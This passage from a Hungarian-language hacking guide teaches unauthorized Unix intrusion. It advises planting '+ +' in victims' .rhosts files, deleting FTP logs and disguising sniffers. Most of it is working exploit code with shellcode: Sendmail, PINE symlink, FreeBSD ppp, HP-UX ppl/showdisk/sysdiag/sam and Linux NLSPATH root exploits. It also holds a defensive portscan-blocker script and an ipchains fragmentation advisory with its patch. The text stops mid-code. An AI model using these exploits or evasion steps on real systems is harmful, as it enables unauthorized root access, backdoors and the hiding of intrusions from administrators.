tulajdonosa, vagy root-jogod van.

chmod oug+r fájlnév mindhárom csoportnak olvasási jogot ad.

chmod og-r fájlnév csak a tulajdonosnak ad olvasási jogot (a - és + jelekkel állíthatjuk)

chmod +x fájlnév mindenkinek futtatási jogot ad.

chown felhasználónév fájlnév a felhasználónév lesz ezután a fájl tulajdonosa.

chgrp csoportnév fájlnév a csoportnévhez fog ezután a fájl tartozni.

Gyozodjünk meg róla, hogy a fájl jogosultságai megfeleloen vannak beállítva. Ezen beállítások megváltoztatása csak más funkciók muködését veszélyezteti, tehát ne molesztáljuk oket, vagy pedig elkapnak. Csak olyasmit csinálj, amiben *BIZTOS* vagy. Csak olyan parancsokat használj, amelyeket ismersz, órákat tölthetsz hibakereséssel egyetlen elírt betu miatt, mint pl. chown -R felhasználónév /ezzel egy évre lefoglalod magad ;)

Légy óvatos!

Többet beszélünk majd errol, ha eljön az ideje.

1C rész - Rlogin

Ez megint egy fontos parancs, amelyet arra használhatsz, hogy egy rendszerbe jelszó nélkül lépj be. Most olvasd el a man-oldalakat az rlogin-ról a shelledben. Az alapparancs a következo:

56

Hackers’ Guide

rlogin -l felhasználónév hostnév connecting.... password:

bash$

Az Rlogin számára szükséges, hogy a felhasználónak legyen egy fájl a home-könyvtárában, amely meghatározza, hogy milyen címekrol fogad rlogin-t. Ennek a neve ".rhosts". A bejegyzések ebben így néznek ki:

felhasználónév hostnév (vagy) hostnév

Ha ezt illeszted a fájl végére: "++" akkor bárhonnan bármilyen felhasználót beenged jelszó nélkül.

Ha már vannak itt bejegyzések, akkor a "++"-t a hostnevek alá tegyük, de ne felejtsük el, hogy innentol kezdve észre fogják venni, hogy jelszó nélkül tudnak belépni. Olyan embereket válassz, akiknek még nincsen .rhosts fájljuk.

1D rész - FTP

A következo mód a bejelentkezésre az FTP.

ftp ftp.domain.com

Ez lehetové teszi, hogy fájlokat tölts le vagy tölts föl a számítógépre, amelyet hackelsz. Gyozodj meg róla, hogy az "xferlog" fájlból kitörlöd a nyomaidat a dolog után. Soha ne ftp-zz vagy telnetezz a célgéprol, mindig csak befelé! Ha a saját rendszeredbol hackelsz, vagy más hackelt accountról, akkor ezáltal kiadod a rendszergazdának vagy más hackernak a felhasználónevedet és jelszavadat. Egy telnetd vagy ftpd trójai program lehet a rendszeren, vagy egy sniffer. Ha a rendszergazda rakta oda, akkor most azt fogja gondolni: "édes a bosszú" :)

Az ftp-t a shelledbol használva a következo parancsokat használhatod:

Miután bejelentkeztél és megvan a promptod, írd be ezeket a parancsokat, mindegyik után entert ütve.

prompt hash bin

A prompt megengedi, hogy olyan parancsokat írj, mint pl. "mget *" vagy "mput *" és egész könyvtárakat letölts vagy feltölts anélkül, hogy minden fájlt külön kellene. hash jelek: a hash "#" jeleket fog a képernyore tenni, és így látod, hogy az átvitel folyik-e még és hogy milyen sebességgel. A bin biztosítja, hogy a fájlokat megfelelo formátumban kapod meg.

Az átviteli parancsok egyszeruek, pl. "get fájlnév", vagy "put fájlnév", vagy sok fájl esetén "mget *" vagy "mget file??".

1E rész - GCC fordító

Eljön az ido, amikor le kell fordítanod egy .c fájlt.

57

Hackers’ Guide

A legjobb, ha azon a rendszeren fordítod le, amelyiket fel akarod törni. Tehát töltsd fel a fájlokat a hackelt számítógépre és ott fordítsd le. Ha problémáid támadnak az ottani fordítóval, megpróbálkozhatsz elofordított fájlokkal is.

Az egyik jó fájlfeltöltési módszer a copy&paste. Egy jó memóriarezidens vagy windowsos shareware program is megteszi, ha nincs más. Fogod a szkriptfájlt, amit le akarsz fordítani, és a vágólapra másolod. Utána a célgépen megnyitod a szerkesztot és a vágólapról bemásolod a szkriptet. Walaa.. nem loggol semmit. A célgéprol is használhatod ezt a módszert, hogy ne legyen log az ASCII fájlok átvitelérol.

A jelszófájllal is megcsinálhatod ugyanezt. Ha az ftp-vel töltöd le a jelszófájlt, eloször másold be a home-könyvtáradba (a célgépen) valami más néven.

bash:/etc:> cp passwd $HOME/plog

ez bemásolja a passwd nevu fájlt az /etc könyvtárból a home-könyvtáradba plog néven. A rendszergazdák rendszeresen átnézik az átviteli logokat, hogy ki töltötte le a passwd fájlt.

Egy másik út a loggolás elkerülésére, hogy fellépünk az irc-re a célgéprol, és a másik számítógéprol, amelyikrol hackelsz, szintén. A fájlokat ezután DCC-n keresztül átnyomhatjuk. A parancs, amelyikkel a fájlokat küldhetjük: /dcc send <nicknév> <fájlnév>. A másik oldalon pedig: /dcc get <nicknév> <fájlnév>.

Egy botot is felrakhatsz a hackelt számítógépre, és a botnak küldött fájlokat automatikusan fogadja el. Ezáltal egyszerusítheted a munkát.

A GCC fordító egyszeru...

gcc fájlnév.c -o fájlnévamitakarsz

Ha például a z2.c nevu fájlt akarjuk lefordítani zap névre, akkor írjuk ezt:

gcc z2.c -o zap

Ez egy fájlt eredményez, amelyik végrehajtható, és a neve "zap".

Ha csak azt írjuk, hogy gcc z2.c, akkor egy olyan nevu fájlt kapunk, hogy "a.out", amelyiket át kell neveznünk zap-ra, pl.

mv a.out zap

Okosan válaszd meg a fájlneveket, hogy az admin ne jöjjön rá, miben mesterkedünk. Ha pl. egy olyan nevu fájlunk van, hogy "linuxsniffer.c" akkor ne tartsuk meg ezt a fájlnevet, hanem pl.

gcc linuxsniffer.c -o lsn

Általában elindíthatod a futtatható fájljaidat úgy, hogy beírod a nevüket abban a könyvtárban állva, ahol vannak, pl. "lsn". De néha ez nem muködik, ha nem teszel elé egy "./" jelet, tehát "./lsn". Ezenkívül van, hogy azt akarjuk, hogy a program fusson tovább, miután kilépünk. (Mint például a fenti sniffer.) Ilyen esetekben olyan névre kell neveznünk a fájlt, amelyet nem könnyu észrevenni. Alakíts ki egy saját

58

Hackers’ Guide

stílust ebben, DE ahhoz, hogy a program a háttérben fusson, egy "&" jelet kell tenned a parancs után:

lsn&

Ha csak "lsn"-t írsz, a képernyot lefoglalja a program, és nem tudsz írni semmit, amíg fut. De ha "lsn&"-t írsz, a program elindul és azonnal visszakapjuk a promptot. A rendszer kiírja, ha a programot a háttérben indítjuk (mint pl. "launched into background" vagy ilyesmi), valamint kiírja a processz azonosító számát is.

A processzt megnézheted a "ps -x" paranccsal, vagy pl. írhatod ezekkel a kapcsolókkal:

ps -auxe | more

a= mindenki u= felhasználó neve x= a tied e= környezet

néhány gépen: f=tree

vagy van ilyen parancs, hogy "pstree" ************************************************************************************************ IP Chains kiegészítés

Ebben a cikkben az ipchains használatára szeretnék egy elég hatékony módszert mutatni egy Perl scripten keresztül. Az ipchains egy olyan program, amivel IP szûrési szabályokat adhatunk meg a Linux kernelnek, ezeket módosíthatjuk illetve listázhatjuk. Alapvetoen négyféle szûrési szabályt hozhatunk létre: a bejövo, kimeno kapcsolatokhoz, valamint továbbítási lehetoség is van benne. A "chain" szabályok sorozata, minden egyes szabály meghatározó információkat tartalmaz a bejövo és kimeno címekrol, a protokollokról, a portokról és a szûrés néhány más jellemzojérol. Ha egy csomag megfelel a szabályban leírt feltételeknek, akkor a hozzá kapcsolt esemény lép életbe. Ez a következok egyike lehet: a Kernel elfogadja a csatlakozást (ACCEPT), letiltja azt (DENY), visszautasítja (REJECT), továbbküldi (REDIRECT), vagy visszaküldi a feladónak :) (RETURN). A MASQ érték csak továbbítási, és egyedileg definiált "chain"-eknél használható. Az IpChains-hez legalább 2.1.102 verziójú Linux kernel szükséges, és abban is

59

Hackers’ Guide

befordítva kell lennie a CONFIG_IP_FIREWALL opciónak. (ha a /proc/net/ip_fwchains nem létezik akkor peched van, kernelt kell fordítanod) Térjünk át a cikk elején említett scriptre. A legtöbb webes betörés információszerzéssel kezdodik. A gonosz hákker:) megpróbál minnél többet megtudni a szerverrol, vagyis milyen szolgáltatások futnak rajta, milyen operációs rendszer van rajta, ezek verziószámát stb. stb. Ehhez elengedhetetlen egy port scan lefuttatása, hiszen a gépen futó programokból jó esetben elég sok minden kiderül a célgéprol. Tegyük fel, a 25-ös porton talál a portscanner egy SMTPD-t, mert fut a szerverünkön a sendmail. A sendmail tehát elküldi a bannerjét a hákkernek, aki máris tud egy fontos információt a szerverrol, mégpedig hogy kizárhatja a Windows NT-nek még az esélyét is ;-) A script ezen alapszik. :) Egy olyan portot nyit, amire véletlenül biztos hogy nem téved be senki, tehát valószínû egy portscannelo próbálkozik rajta. Ekkor jön be a képbe az aranyos ipchains, kap a hákker egy DENY-t, hogy lehetoleg békén hagyja ezután a szerverünket.:) Néhány változót a script elején módosítanod kell, azzal kapcsolatban, hogy küldjön-e számodra a szerver email értesítést, ha valaki szórakozott, milyen üzeneteket küldjön vissza a hákkernek, stb. Ügyelj arra, hogy a Perl a helyes elérési útvonalát kell megadni a script elején. Na meg a Perl jobban szereti a UNIX-os fájltördelést. Ha problémád lenne vele, akkor a dos2unix utasítással lehet átalakítani. Newbie-k kedvéért. Miután biztosan fut a script, átrakhatod, hogy a háttérben fusson a: nohup ./ipchains.pl & parancs kiadásával.

by -=|R|S|C|=-

#!/usr/bin/perl #################################### # Kesz¡tette: RSC mailto:[email protected] # # ipchains kiegesz¡to script # #################################### my $logfile = './log.txt'; #ide loggol a script... my $SERVERPORT = 340; #ezen a porton figyel... my $EOL = "\015\012"; #sortoreshez my $mailto = 'emailcimed'; #ha emailt szeretnel kapni #minden portscan utan #akkor ird be az emailcimed #kulonben szedd ki a sort! my $mailprog = "/usr/lib/sendmail -t -n"; #a levszerver eleresehez a parancs my $from = 'emailcim'; #ez az emailcim szerepel feladokent #a kovetkezo sorokban a #visszadott #uzenetek szerepelnek #tetszoleges szamut irhatsz, #csak figyelj a szintaktikara!

60

Hackers’ Guide

my @MESSAGES = ('I hate people that are lame', 'You will fuck up just like your parents did'); #################################### # az Elet szaga nincs meg vkinek? # #################################### use strict; use Socket; use Carp; my $waitedpid; my $paddr; my $where = -1; #a visszaadando uzenetekhez... sub logmsg { open (OUTPUT, ">>$logfile"); #megnyitas hozzafuzessel print OUTPUT "@_ at ", scalar localtime, "\n"; #uzenet irasa close (OUTPUT); #fajl lezarasa } my $proto = getprotobyname('tcp'); socket(Server, PF_INET, SOCK_STREAM, $proto) || die "socket: $!"; setsockopt(Server, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) || die "setsockopt: $!"; bind(Server, sockaddr_in($SERVERPORT, INADDR_ANY)) || die "bind: $!"; listen(Server,SOMAXCONN) || die "listen: $!"; logmsg "server started on port: $SERVERPORT"; #uzenet loggolasa $waitedpid = 0; $paddr; sub REAPER { $waitedpid = wait; $SIG{CHLD} = \&REAPER; # loathe sysV logmsg "reaped $waitedpid" . ($? ? " with exit $?" : ''); } $SIG{CHLD} = \&REAPER; #innen kezdodik a tenyleges kapcsolodasok feldolgozasa #a script egyszerre tobb kapcsolodast is elfogad, es #termeszetesen kiadja a tiltast a kliensnek... for ( $waitedpid = 0; ($paddr = accept(Client,Server)) || $waitedpid;

61

Hackers’ Guide

$waitedpid = 0) { next if $waitedpid and not $paddr; my($port,$iaddr) = sockaddr_in($paddr); my $name = gethostbyaddr($iaddr,AF_INET); $where++; print Client $MESSAGES[$where]; #uzenet a kapcsolodonak if ($where == $#MESSAGES) { $where = -1; } close Client; if (defined ($mailto)) { &send_notification ($mailto, $from, 'Portscanning', $mailprog, "connection from $name [", inet_ntoa($iaddr), "] at port $port"); } logmsg "\nconnection from $name [", #loggolas inet_ntoa($iaddr), "] at port $port"; system ("ipchains -A input -j REJECT -s $name -d 0/0 -p all");#reject kiadasa } sub send_notification #ez az egyszeru rutin emailt kuld { my $TO=$_[0]; my $FROM=$_[1]; my $SUBJECT=$_[2]; my $MAILPROG=$_[3]; my $MESSAGE_BODY = $_[4]; open(MAIL, "|$MAILPROG") || die "Can't open $MAILPROG!\n"; print MAIL "From: $FROM\n"; print MAIL "Reply-To: $FROM\n"; print MAIL "Errors-to: $FROM\n"; print MAIL "To: $TO\n"; print MAIL "Subject: $SUBJECT\n\n"; print MAIL "$MESSAGE_BODY"; close (MAIL); } # end function ************************************************************************************************

62

Hackers’ Guide

Linux ipchains Firewall hiba

Thomas Lopatic [[email protected]] Bizonyos esetekben a tamado ki tudja kerulni a "packet filter"-t, amikor olyan gepekkel kommunikal, amik megengedik a forgalmat az adott porton. A fragmentation tamadas egy variacioja (a frag erteket hasznalva felulirodott a header.) Ebben az esetben a port kerul felulirasra, igy elerve a celportot, amit a FW-nak ki kellett volna szurnie. Az ipchainsnek van egy specialis szolgaltatasa azoknak az IP fragmenseknek, amik nem tartalmaznak eleg informaciot a header analizalasahoz. Azok a fragmensek, amik 0-nal kezdodnek, es nem eleg hosszuak a teljes informacio kozlesehez, ugy kerulnek feldolgozasra, mintha >0 ( >1 , TCPnel) offsetjuk lenne.

ip_fw.c: if (offset == 0) { unsigned int size_req; switch (ip->protocol) { case IPPROTO_TCP: /* Don't care about things past flags word */ size_req = 16; break; case IPPROTO_UDP: case IPPROTO_ICMP: size_req = 8; break; default: size_req = 0; } offset = (ntohs(ip->tot_len) < (ip-->ihl<<2)+size_req); } Ez a kovetkezo felulirasos tamadasokat teszi lehetove: 1. Fragmens kuldese 0-as offsettel, IP_MF beallitasaval es egy teljes transp. protokoll headerrel, amit a filter lekezel, es tovabbkuld. 2. Fragmens, off 0-val, IP_MF bittel, 4 byte hosszal. Ez tartalmazza a (blokkolt) portot, amit a tamado el akar erni. Ezt elfodadja a FW, es lefedi azzal a portinformacioval, amit az 1. lepesben kuldott csamag tartalmaz. 3. Fragmens, IP_MF bit=0, ott kezdve, ahol az 1. fragmens veget ert. A celgep defragmentacios strategiajatol fuggoen lehet, hogy az 1. es 2. lepest fel kell cserelni.

63

Hackers’ Guide

Ket esetnek kell fennalnia, hogy sikerrel jarjunk: - a packet-filter CONFIG_IP_ALWAYS_DEFRAG kernel opcio nelkul legyen konfiguralva. Ha a filter ujragyartja a csomagokat az ellenorzes elott, akkor nem sikerul a tamadas. - Meg kell engednie, hogy a nem elso fragmens is tuljusson. Ez lehet rule, vagy CONFIG_IP_ALWAYS_DEFRAG opcio forditaskor. Igy a nem elso csomaggal kezdodo kapcsolatokat eldobja, ami meggatolja a fejlec-felulirason alapulo tamadasokat. Patch (2.2.10) -------------- Lehetseges megoldas meg: - CONFIG_IP_ALWAYS_DEFRAG -al ujrakonfiguralni - kivenni a rule-t ("-f" opcio)

*** linux.old/net/ipv4/ip_fw.c Wed Jun 9 05:33:07 1999 --- linux/net/ipv4/ip_fw.c Fri Jul 23 19:20:45 1999 *************** *** 37,42 **** --- 37,45 ---- * 19-May-1999: Star Wars: The Phantom Menace opened. Rule num * printed in log (modified from Michael Hasenstein's patch). * Added SYN in log message. --RR + * 23-Jul-1999: Fixed small fragment security exposure opened on 15-May-1998. + * John McDonald [[email protected]] + * Thomas Lopatic [[email protected]] */ /* *************** *** 644,650 **** default: size_req = 0; } ! offset = (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req); } src = ip-->saddr; --- 647,666 ---- default: size_req = 0; } ! ! /* If it is a truncated first fragment then it can be ! * used to rewrite port information, and thus should ! * be blocked. ! */ ! ! if (ntohs(ip->tot_len) < (ip->ihl<<2)+size_req) ! {

64

Hackers’ Guide

! if (!testing && net_ratelimit()) { ! printk("Suspect short first fragment.\n"); ! dump_packet(ip,rif,NULL,NULL,0,0,0,0); ! } ! return FW_BLOCK; ! } } src = ip->saddr; -- Kis-Szabo Andras Technical University of Budapest -----------------------------/ Schonherz Zoltan Dormitory [email protected] /-------------------------------3OO---->> ************************************************************************************************ Fakeuser

Lényege annyi, hogy a programnak megadott parameteru user id-t kapsz. Sajna ez csak egy linuxos átverés, mert igaz, hogy pl rootnak látszol, id es whoami is annak mutat, de root-ként nem tudsz csinálni semmit, a process eredeti user id-vel fut. Avagy nincs jogod ahhoz, mint annak a usernak, akinek az uid-jet felvetted. Termászetesen a progi támogatja a group id-t is.

download

_BluE_ ************************************************************************************************ Exploitok és a Telnet

Nos, az exploitok a legjobb módjai weboldalak hekkelésének de bonyolultabb is mint ftp-n keresztül hekkelni vagy a phf módszert használni. Mielõtt telepítenél egy exploitot elõször szükséges egy telnet progi, számos különbözõ kliens van csak

65

Hackers’ Guide

csinálj egy keresést és találd meg ami neked kell. A legjobb ha szerzel egy hozzáférést a célpontodtól (ha lehetséges) és nézd meg a mûködési hibát kívülrõl. Az exploitok felfedik a hibákat vagy bugokat a rendszerekben és általában root jogokhoz segítenek. Különbözõféle exploitok vannak minden téren és megnézheted mindegyiket külön-külön. Bemutatok egy néhányat lentebb de az exploitok listája végtelen.

Ez az exploit Sendmail v.8.8.4 néven ismert. Létrehoz egy suid programot a /tmp/x -ben ami meghívja a shellt rootként. Itt van hogyan állíthatod be: cat << _EOF_ >/tmp/x.c #define RUN "/bin/ksh" #include<stdio.h> main() { execl(RUN,RUN,NULL); } _EOF_ # cat << _EOF_ >/tmp/spawnfish.c main() { execl("/usr/lib/sendmail","/tmp/smtpd",0); } _EOF_ # cat << _EOF_ >/tmp/smtpd.c main() { setuid(0); setgid(0); system("chown root /tmp/x ;chmod 4755 /tmp/x"); } _EOF_ # # gcc -O -o /tmp/x /tmp/x.c gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c gcc -O3 -o /tmp/smtpd /tmp/smtpd.c # /tmp/spawnfish kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1` rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c sleep 5 if [ -u /tmp/x ] ; then echo "leet..." /tmp/x fi Most egy másik exploit. Bemutatom a pine exploitot a linux segítségével. A processz asztal figyelésével a ps-el láthatjuk melyik felhasználók futtatnak PINE -t, valaki csinál egy ls -t a /tmp/ -ben hogy összegyûjtse minden felhasználó zárolt állomány neveit. A processz asztal újbóli figyelésével észrevehetjük amikor minden

66

Hackers’ Guide

felhasználó kilép a PINE-ból vagy elfogynak az olvasatlan levelei az Érkezett levelek-bõl, az eredményes egyéni zárolt állomány törlését.

Hozzunk létre egy szimbolikus linket a /tmp/.hamors_lockfile -tól a ~hamors/.rhosts -ig (általános pl) ettõl a PINE létre fogja hozni a ~hamors/.rhosts -ot mint egy 666 fájlt a PINE processz ID-nak tartalmával. Valaki most csinálhat egyszerûen egy echo "++"> /tmp/.hamors_lockfile, ezután rm /tmp/.hamors_lockfile.

Ezt Sean b. Hamor írta... E példa esetén, hamors az áldozat mig catluvr a támadó. hamors (21 19:04) litterbox:~> pine catluvr (6 19:06) litterbox:~> ps -aux | grep pine catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors - -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4 catluvr (8 19:07) litterbox:~> ps -aux | grep pine catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4 hamors (23 19:09) litterbox:~> pine catluvr (11 19:10) litterbox:~> ps -aux | grep pine catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4 catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4 + + catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4 catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors Most áttérünk a következõre, ez lesz az utolsó amit be tudok mutatni. A kihasználó scriptet a ppp sebezhetõségéhez senki nem jellemezte, ez NEM FreeBSD-SA-96:15. Mûködik FreeBSD-en,teszteltem. Babrál a számokkal ha nem mûködne. Itt van hogy állísd be: #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUFFER_SIZE 156 /* a buffer mérete hogy túlcsorduljon */ #define OFFSET -290 /* a bájtok száma hogy ugorjon a buffer

67

Hackers’ Guide

indulásánál */ long get_esp(void) { __asm__("movl %esp,%eax\n"); } main(int argc, char *argv[]) { char *buf = NULL; unsigned long *addr_ptr = NULL; char *ptr = NULL; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */ "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */ "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */ "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */ int i,j; buf = malloc(4096); /* kitölti a buffer kezdetét nop -okkal */ i = BUFFER_SIZE-strlen(execshell); memset(buf, 0x90, i); ptr = buf + i; /* elhelyezi az exploit kódot a bufferban */ for(i = 0; i < strlen(execshell); i++) *ptr++ = execshell[i]; addr_ptr = (long *)ptr; for(i=0;i < (104/4); i++) *addr_ptr++ = get_esp() + OFFSET; ptr = (char *)addr_ptr; *ptr = 0; setenv("HOME", buf, 1); execl("/usr/sbin/ppp", "ppp", NULL); } Mégtöbb exploit: -Hpux ppl exploit: #!/bin/ksh

68

Hackers’ Guide

# ppl exploit, második rész - SOD 15Oct96 # nem minden buffer túlcsordulás igényli hogy # eröltessünk egy címet a PC-ben # 10.X-en mûködik, is, fura módon. - Script Junkie #HOST='localhost' #USER=`whoami` HOST="+" USER="+" cd /tmp rm core 2> /dev/null ln -s ~root/.rhosts core AAA='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaa' STUFF=`echo "${AAA}\n${HOST} ${USER}"` ppl -o "${STUFF}" rm core remsh localhost -l root sh -i schlowdishk exploit: #!/bin/ksh # OKÉ.. ez a bug beszúrja magát remwatch-ba a patch után.. # Ez benne volt korábban néhány verzióban, de # ma majdnem általános ha a patch # felinstallálódott... # Silly Scriptor & barátai, SOD, (11Jun96) if [ ! -x /usr/remwatch/bin/disks/showdisk ] then echo This is an exploit for the showdisk utility internal to echo HP\'s Remote Watch series of programs. echo The showdisk utility doesn\'t appear to be on your system. echo Moo exit fi FILE=$1 if [ -z "$FILE" ] then FILE=/.rhosts fi if [ -f "$FILE" ] then

69

Hackers’ Guide

echo "Hey, there already a ${FILE}!" echo "I'd rather enjoy making new files, thank you very much..." exit fi umask 0000 /usr/remwatch/bin/disks/showdisk arg arg ${FILE} arg > /dev/null 2>&1 >${FILE} ls -l ${FILE} if [ "${FILE}" = "/.rhosts" ] then echo "Adding + + ..." echo "+ +" >> /.rhosts remsh localhost -l root ksh -i fi Vessünk egy pillantást az exploitra: Neked csak a következõket kell tenned: 1. Jelentkezz be a hozzáféréseddel 2. Döntsd el melyik az a file amit szeretnél hogy létrehozzon mindenki számára írásra. 3. csinálj egy umask 000 -t 4. Ezután csinálj /usr/perf/bin/glance -f<az a file> 5. Utána néhány másodperccel, gyorsan lépj ki. 6. Az a fájl most ott lesz és mindenkinek írható, most pedig szerkeszd át. 7. Ha az elõzõleg létezett volna, meg lenne nyírbálva eredeti hullámokkal.

sysdiag exploit: Elsõsorban, a sysdiag eszköz egy root uid beállító. Exploitálhatod ezt a jellemzõt hogy létrehozzon és írjon dolgokat tetszõleges fájlokba a rendszerben rootként. Ha a cél fájl amit létre akarsz hozni létezik, akkor ez nem fog mûködni. Meglehet hogy van más módja, de nem ez a lényeg. A lényeg hogy használni tudjuk ezt hogy root -ot szerezzünk 30 másodperc alatt a HP-imhez és ez nem jó. A fenébe is, valószínûleg gyorsabb mint ha megkérdeznénk a root jelszót!

További részletek a problémáról:

Mi történik ha létezik az a tulajdonság ami létrehoz a sysdiag ténykedéseidnek egy log fájlt amit segítségül hívhatunk egy programban. Te megadod a létrehozni kívánt fájl nevét, és ha az egy sym link egy nem létezõ fájl felé, a sysdiag követi a sym linket és létrehozza a fájlt rootként neked és abba loggolja a tevékenységed. Hogy bemutassak egy jellegzetes sebezhetõséget, létrehoztam /.rhosts sym linket a /tmp -ben amit a sysdiag követett és ezután elõidézte a sysdiagnál hogy visszaküldje a sort "++" a fájlban. Ekkor már be tudok jelentkezni mint root. (rlogin)

Ha a /.rhosts vagy /etc/hosts.equiv nem létezik, használhatod ezt a trükköt hogy létrehozd és belerakj "++" e fájlok mindegyikébe. Ez egy egyszerû módja annak hogy root legyél vagy valaki más. Szintén meg teheted ezt más fájlokkal is. Ez nem a legjobb, egyáltalán nem...

Hogyan teszteljem ezt a rendszeremen: 1. Belépek a szokásos accommal 2. Csinálok egy sym linket a paranccsal: ln -s /.rhosts /tmp/tempfile 3. Futtatom a parancsot: /bin/sysdiag

70

Hackers’ Guide

4. DUI>-ból DUI> parancssorba beírom: outfile /tmp/fl 5. DUI>-ból DUI> parancssorba beírom: ++ 6. DUI>-ból DUI> parancssorba beírom: redo 7. Amikor az elõzõ parancsom visszakerül a képernyõre <return> -t nyomok. 8. DUI>-ból DUI> parancssorba beírom: exit 9. Shell parancssorból, és sysdiagból kilépve, beírom: rlogin localhost -l root 10. Még egyszer bejelentkezek és beírom hogy: id és azt feleli: root...

Ez a sysdiag munkálkodásom scriptje: Script started on Sat Sep 21 23:29:10 1996 $ id uid=1648(jjacobi) gid=999(systems) $ ls -l /tmp total 0 $ ls -l /.rhosts /.rhosts not found $ ln -s /.rhosts /tmp/tempfile $ ls -l /tmp total 2 lrwx--x--x 1 jjacobi systems 8 Sep 21 23:29 tempfile -> /.rhosts $ ls -l /.rhosts /.rhosts not found $ /bin/sysdiag Sam exploit: Nézd meg a HP 9.04/5 rendszered elõször.

1. Jelentkezz be a rendszeredbe normál felhaszként. 2. Fordítsd le a lenti progit, csinálj néhány változtatást ha szükséges. (nem valószínû hogy kell) 3. Jelentkezz be másik terminálon, root leszel és biztosítja sam azt hogy jelenleg nem végrehajtható. 4. Átlagos felhaszként bejelentkezve, futtasd a progit amit a második lépésben lefordítottál. 5. A root bejelentkezésnél, futtasd a sam -et. 6. Nézd meg a cél fájlt. /* Exploit kód sam futtatására az iopasrer.sh hívja Többnyire az ioparser.sh script futását eredményezi roottól hogy kövesse a sym linkek létrehozását itt létrehozást vagy a CÉL_FÁJLNNÉV megcsonkítását rootként. Nem szép és nem mindíg mûkszik, de általában megy. Fordítva HP9000/[700/800] 9.04[5] -ra paranccsal: cc racer.c -o racer -Ae */ #include <stdio.h>

71

Hackers’ Guide

#include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <string.h> #include <strings.h> #include <symlink.h> #define PROC_TO_LOOK_FOR "sam" /* A processz keresse a ps-ben */ #define TARGET_FILENAME "/check_this" /* A fájl amit létrehozott vagy megcsonkított */ #define NUM_SYM_LINKS 50 /* Sokszorosan megnöveli az elágazásokat fork() */ void main(void) { char ps_buf[65536]; /* ps adat buffer */ char *line; /* egy mutató a ps_buf -ban */ char f1[80]; /* buffer hely a sym link névnek */ char hostname[32]; /* buffer hely hogy tárolja a hostnevet, duh */ int fd; /* fd a pipe-nak */ int ext; /* a fennállóság hogy elhelyezze a sym linken (pid) */ int loop; /* Figyeli a ciklus változót, javaslatok ??? */ unlink("ps_fifo"); /* Miért ne */ mkfifo("ps_fifo",S_IRUSR|S_IWUSR); /* Ez szükséges */ fd = open("ps_fifo",O_RDONLY|O_NONBLOCK); /* A pipe-ot olvasod */ gethostname(hostname,32); /* lekéri a hostnevet úgy mint az ioparser.sh !!! */ printf("Looking for process %s, will exploit filename %s\n",PROC_TO_LOOK_FOR,TARGET_FILENAME); /* ÁBRÁZOLJA AMI KINT MARADT BELÕLED , NEM MÛVÉSZI MUNKA... */ while(1) { system("/bin/ps -u 0 > ps_fifo"); read(fd,ps_buf,65536); if( (line = strstr(ps_buf,PROC_TO_LOOK_FOR)) != NULL ) { while( *line != '\n' ) { line--; } line+=2; line[5] = '\0'; ext = atoi(line);

72

Hackers’ Guide

for(loop = 1 ; loop <= NUM_SYM_LINKS ; loop ++) { sprintf(f1,"/tmp/%s.%d",hostname,ext + loop); symlink(TARGET_FILENAME,f1); } while( (access(TARGET_FILENAME,F_OK)) < 0 ); printf("%s has run, wait a few seconds and check %s\n",PROC_TO_LOOK_FOR,TARGET_FILENAME); unlink("ps_fifo"); exit(); } } } -Linux nlspath exploit: /* * NLSPATH buffer overflow exploit Linuxra, Slackware 3.1-en tesztelve * Copyright (c) 1997 by Solar Designer */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> char *shellcode = "\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1" "\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04" "\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb" "\xcd\x80/" "/bin/sh" "0"; char *get_sp() { asm("movl %esp,%eax"); } #define bufsize 2048 char buffer[bufsize]; main() { int i; for (i = 0; i < bufsize - 4; i += 4) *(char **)&buffer[i] = get_sp() - 3072; memset(buffer, 0x90, 512); memcpy(&buffer[512], shellcode, strlen(shellcode));

73

Hackers’ Guide

